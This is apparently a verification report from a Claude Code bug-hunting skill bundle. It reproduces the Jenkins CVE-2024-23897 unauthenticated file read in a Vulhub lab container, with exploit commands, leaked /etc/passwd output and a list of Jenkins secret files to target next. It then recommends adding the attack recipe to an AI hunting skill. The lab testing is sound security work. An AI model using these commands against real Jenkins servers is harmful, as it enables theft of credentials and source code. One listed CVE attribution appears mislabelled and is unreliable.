A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Verification — Jenkins CVE-2024-23897 (real CVE, real engagement-relevant)
A real published CVE against real Jenkins LTS 2.441. Unauthenticated arbitrary file read via the Jenkins CLI's args4j
@-prefix file expansion. This is the kind of CVE that lands on Tenable / Qualys reports during real engagements — and CISA KEV in 2024.
Why this target
Juice Shop is a teaching platform. Real engagements run into known-CVE-tagged enterprise software with WAFs and patch deltas. Jenkins CVE-2024-23897 is:
- High-impact — pre-auth arbitrary file read on a CI/CD server, which usually holds source code repos, AWS keys, internal API tokens, kubeconfigs.
- Real-world prevalence — CISA KEV added it within weeks; Shodan still surfaces tens of thousands of unpatched 2.441 instances in 2026.
- In our claimed coverage area —
hunt-rcementions Jenkins script-console (an older auth-required attack); the enterprise-platform skills cite Jenkins as a CI/CD target.
Target
Vulhub's Docker image vulhub/jenkins:2.441 — pre-patch Jenkins LTS.
# Reproducible setup
git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub
cd /tmp/vulhub/jenkins/CVE-2024-23897
# Optional: remap port if 8080 conflicts (Burp default)
sed -i.bak 's/"8080:8080"/"18080:8080"/' docker-compose.yml
docker-compose up -d
Confirm with docker ps:
cve-2024-23897-jenkins-1 vulhub/jenkins:2.441 Up 30 seconds 0.0.0.0:18080->8080/tcp
What the skill stack actually says
What it knows
Search for "Jenkins" across all hunt-* skills:
$ grep -niE "jenkins" skills/hunt-*/SKILL.md
skills/hunt-rce/SKILL.md:315: hunt-ssrf → Chain primitive: external SSRF →
`http://127.0.0.1:8080/manage/scriptText` (Jenkins/Tomcat) → Groovy
Runtime.exec → RCE
This is the 2018-era Jenkins script-console RCE chain — requires authenticated access to the script console, gated through SSRF. Different vulnerability class from CVE-2024-23897.
What it doesn't know
$ grep -niE "CVE-2024-23897|args4j|jenkins-cli|@-prefix|expandAtFiles" skills/ docs/disclosed-reports/ -r
(no matches)
The skill content has no entry for:
- Jenkins CVE-2024-23897 (the args4j
@-prefix file expansion primitive) - The general args4j
expandAtFilespattern, which affects every Java CLI tool built on the args4j library
This is a gap. A real-engagement-ready stack should have this pattern in hunt-rce and ideally a cited entry in docs/disclosed-reports/hunt-rce.md. As of the 2025-05-16 push, it does not.
The exploit (live)
# Download the legit Jenkins CLI jar
curl -sLO http://localhost:18080/jnlpJars/jenkins-cli.jar
# Verify it's a real JAR, not a captive portal or proxy intercept page
file jenkins-cli.jar # → "Java archive data (JAR)"
ls -lh jenkins-cli.jar # → 3.5 MB
# Step 1 — Anonymous CLI invocation: 'help' command, '@' prefix expands file content as arg
java -jar jenkins-cli.jar -s http://localhost:18080/ -http help 1 @/etc/passwd
Step 1 — Result (first line of /etc/passwd in error output)
ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
root:x:0:0:root:/root:/bin/bash — first line of /etc/passwd from the target container leaked into the error message. The CLI is unauthenticated. No login required.
Step 2 — Environment leak
java -jar jenkins-cli.jar -s http://localhost:18080/ -http help 1 @/proc/self/environ
Output (truncated to relevant portion):
ERROR: Too many arguments: HOSTNAME=2265640c3b71 JENKINS_UC_EXPERIMENTAL=...
JAVA_HOME=/opt/java/openjdk JENKINS_HOME=/var/jenkins_home
PATH=/opt/java/openjdk/bin:/usr/local/sbin:...
JENKINS_HOME=/var/jenkins_home confirmed — used to construct subsequent file paths.
Step 3 — Full file read via connect-node command
The help command returns only the first line of the leaked file (in the error). The connect-node command leaks every line because args4j passes each line as a separate "node name" argument and the server's not-found error echoes the failed argument back.
java -jar jenkins-cli.jar -s http://localhost:18080/ -http connect-node @/etc/passwd
Step 3 — Result (full /etc/passwd contents)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "..." exists.
root:x:0:0:root:/root:/bin/bash: No such agent "..." exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "..." exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "..." exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "..." exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "..." exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "..." exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "..." exists.
... (every passwd line echoed)
Every line of /etc/passwd, echoed back via the error format. Real engagement-impact files to chase next:
/var/jenkins_home/secret.key— encrypts every other Jenkins secret/var/jenkins_home/secrets/master.key— derives the encryption key/var/jenkins_home/credentials.xml— credential store (encrypted with secret.key)/var/jenkins_home/users/<user>/config.xml— per-user API tokens/var/jenkins_home/jobs/<job>/config.xml— build configs leaking AWS keys, SSH private keys, internal hostnames
Verdict
Exploit
PASS — live. Reproduces in 3 commands against a vanilla Vulhub container. Takes ~90 seconds end-to-end from container boot.
Skill stack
MISS — content gap. hunt-rce describes the wrong Jenkins attack (script-console RCE), not CVE-2024-23897. A fresh user asking Claude "I see Jenkins 2.441 on port 8080 — what should I try?" would NOT get the args4j primitive from current skill content. They would get the script-console chain, which requires auth and doesn't apply here.
Severity of the gap
This is not a small omission. CVE-2024-23897 is on CISA KEV. It is one of the highest-leverage primitives an external attacker can use against an enterprise CI/CD surface in 2024-2026. A "real engagement ready" stack should have it.
What needs to change
hunt-rce/SKILL.md
Add a Pattern section: Args4j @-prefix file read — affects every Java CLI built on args4j library when the application exposes the CLI to unauthenticated HTTP. The vulnerability class includes:
- CVE-2024-23897 (Jenkins — pre-2.426.3)
- CVE-2024-22243 (Jenkins, related arg parsing)
- Any custom Java app using args4j with HTTP frontend
Detection:
- Target exposes
/cliendpoint that responds 200 - Target exposes
/jnlpJars/jenkins-cli.jar(Jenkins family) - Look for the args4j
--expandAtFilesflag in source or docs
Test:
curl -O http://target:port/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://target:port/ -http help 1 @/etc/passwd
# If error returns the first line of the file → vulnerable
Validation per triage-validation:
- Pre-Severity Gate: ensure the file content actually appears in the error, not just a generic "file not found"
- Reproducibility: works on
connect-node,help, and several other commands — confirm at least 2 commands return the leak
docs/disclosed-reports/hunt-rce.md
Add a Cited Public Example for CVE-2024-23897 with:
- Source: Jenkins Security Advisory 2024-01-24; CISA KEV addition 2024
- Pattern shape: args4j @-prefix file expansion in CLI command parsing
- Key trick: unauth
connect-node @/path/to/fileleaks every line via error echo - Why it matters: CI/CD servers hold every credential the org uses — fastest path from external footprint to internal lateral movement
What this verification proves
Beyond what Juice Shop verified:
- Real CVE coverage gap detection works. Putting the skill stack against a published CISA-KEV CVE that's not in the disclosed-reports library surfaces the gap immediately. This is the right kind of verification — it finds what's missing.
- The skill auto-trigger is not enough by itself. The description matcher fires
hunt-rcefor "I see Jenkins" — correct trigger. But the skill content has to actually contain the current attack to be useful, and here it doesn't. - Phase 1's pattern library structure was the right call. Adding CVE-2024-23897 means writing one new section in
hunt-rceand one new Cited Public Example indocs/disclosed-reports/hunt-rce.md— a 30-minute fix. Without Phase 1's structure, this would need rethinking where to put the content.
What's still untested by live target
Same list as the Juice Shop doc, minus RCE (now partially covered). All enterprise platform skills (M365, Okta, vCenter, SharePoint, Cisco VPN) remain untested by live target. Phase 3 plans them.
Reproducibility note
Vulhub's vulhub/jenkins:2.441 image is the canonical container for this CVE; it ships with Jenkins's setup wizard pre-disabled (-Djenkins.install.runSetupWizard=false), so anonymous read access is enabled by default — which is also the real-world misconfiguration that makes this exploitable on production deployments. Patched Jenkins (≥ 2.426.3 LTS or ≥ 2.442 weekly) is not vulnerable.